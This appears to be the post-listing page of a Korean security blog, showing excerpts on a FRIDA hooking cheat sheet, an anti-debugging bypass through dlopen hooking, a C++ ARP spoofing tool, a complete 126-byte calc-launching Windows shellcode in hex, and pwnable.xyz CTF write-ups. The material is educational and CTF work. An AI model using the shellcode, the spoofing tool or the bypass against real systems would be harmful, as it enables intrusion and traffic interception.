-
FRIDA Cheat SheetMobile/Frida 2020. 3. 2. 06:32
1. 메모리 스캔 및 검색 2. Boolean 값 생성 3. Class 인스턴스 생성 및 Method 호출 4. ByteArray 출력 5. Native 함수 NOP 처리 6. Natvie 함수 인자값 및 반환값 조작 메모리 스캔 및 검색 function Memory_scan() { var ranges = Process.enumerateRangesSync({protection: 'r--', coalesce: true}); var range; function Next_Range(){ range = ranges.pop(); if(!range) { console.log("Memory Scan Done!"); return; } Memory.scan(range.base, range.size, "70 79 30 7..
-
Anti-Debugging 우회 ( ptrace 선점 )Mobile/Frida 2020. 2. 29. 03:23
안티디버깅이 적용되어 있는 어플을 IDA나 GDB로 Attach하려고 하면 앱이 바로 종료되어 버린다. 또한, ptrace를 미리 선점하는 방식으로 안티디버깅이 적용된 경우도 있다. 이런 방식의 안티디버깅을 우회할 수 있는 방법 중 dlopen( )으로 우리가 원하는 라이브러리가 로드됐을 때, 바로 sleep을 걸어서 안티디버깅이 동작하기 전에 디버거를 Attach 해주는 방법이 있다. Interceptor.attach(Module.findExportByName(null, "dlopen"), { onEnter: function(args) { this.libc_name = Memory.readUtf8String(args[0]); if (this.libc_name.indexOf("libfoo.so") !==..
-
ARP Spoofing Tool ( + 자동화 , 코드 보완 )Network/NetProg 2020. 2. 6. 19:01
Makefile all : ARP_Spoofing ARP_Spoofing : main.o g++ -g -std=c++14 -o ARP_Spoofing main.o -lpcap -lpthread main.o : psy_header.h g++ -g -c -std=c++14 -o main.o main.cpp clean : rm -f *.o ARP_Spoofing main.cpp #include // pcap libc #include #include #include #include #include // find_me() #include // find_me() #include // inet libc #include // Thread libc #include "psy_header.h" // header define..
-
Universal Calc Shellcode (+ExitProcess)System/Windows 2020. 1. 26. 03:59
31 D2 52 68 63 61 6C 63 54 59 52 51 64 8B 72 30 8B 76 0C 8B 76 0C AD 8B 30 8B 7E 18 8B 5F 3C 8B 5C 1F 78 8B 74 1F 20 01 FE 8B 54 1F 24 89 54 24 50 89 7C 24 54 89 74 24 58 0F B7 2C 17 42 42 AD 81 3C 07 57 69 6E 45 75 F0 8B 74 1F 1C 01 FE 03 3C AE FF D7 83 EC 08 8B 54 24 50 8B 7C 24 54 8B 74 24 58 0F B7 2C 17 42 42 AD 81 3C 07 45 78 69 74 75 F0 8B 74 1F 1C 01 FE 03 3C AE FF D7 126Byte
-
JMP Table Write-upSystem/Pwnable.xyz 2020. 1. 20. 02:51
간단한 OOB문제다. OOB도 바로 터지고 원샷 함수도 있어서 익스를 수월하게 진행할 수 있다. Problem 바이너리에서 메뉴마다 각 기능을 제공해주고, 각 기능을 통해 Exploit을 진행하는 방식이다. 특이사항은 메뉴를 호출할 때, 전역변수 vtable을 인덱싱하여 실행하고 있다. 여기서 포인트는 사용자 입력값으로 인덱스를 참조하고 있다는 점이다. vtable외에도 size와 heap_buffer가 전역변수로 관리되고 있다. size와 heap_buffer는 malloc( )메뉴에서 값을 입력할 수 있다. size는 malloc( )으로 할당할 크기가 저장되고, heap_buffer는 할당된 Chunk의 주소가 저장된다. Solve 위에서도 말했듯이 이 문제는 OOB(Out of Bound)취약점이..
-
two targets Write-upSystem/Pwnable.xyz 2020. 1. 20. 01:19
이번 문제는 풀이법이 2개가 있다. 하나는 암호화 루틴을 분석하는 것, 다른 하나는 GOT Overwrite로 원샷함수를 실행하는 것이다. 이번 풀이법에서는 두 가지 모두 다뤄보도록 하겠다. Binary 가장 기본적인 보호기법으로 설정되어 있다. Partial RELRO이기 때문에 .got섹션에 쓰기권한이 부여되어 있다. Solve_1 ( 역연산 ) 바이너리를 실행하면 총 4개의 메뉴는 제공한다. 그 중 'Get shell'이라는 4번 메뉴가 가장 눈에 띈다. IDA로 확인해보면 위와 같이 구성되어 있다. 우선 auth( )라는 함수가 실행되고, auth( )의 반환값이 1(true)이면 win( )함수가 실행되면서 Flag를 얻을 수 있다. auth( )는 우리가 입력한 값에 대해서 특정 연산을 진행하..
-
note Write-upSystem/Pwnable.xyz 2020. 1. 19. 04:17
이번 문제는 note류 문제다. 보통 ~~note와 같은 네이밍을 가진 문제들은 menu를 제공하고 각 메뉴 기능을 통해 Exploit을 진행한다. Binary 보호기법에서 특이사항은 No RELRO라는 점이다. RELRO는 Relocation Read-Only의 약자로 Symbol정보나 .got의 적용되는 보호기법을 말한다. No RELRO의 경우 ELF Header, Code영역을 제외한 영역에 쓰기권한이 부여된 상태이다. Problem 바이너리를 실행하면 'Edit note', 'Edit desc' 두 개의 메뉴를 제공한다. 먼저 Edit_note( )에서는 원하는 크기만큼 동적할당 후 값을 입력받는다. 입력받은 값은 전역변수 s에 저장하고, free( )로 할당한 공간을 해제해준다. Edit_de..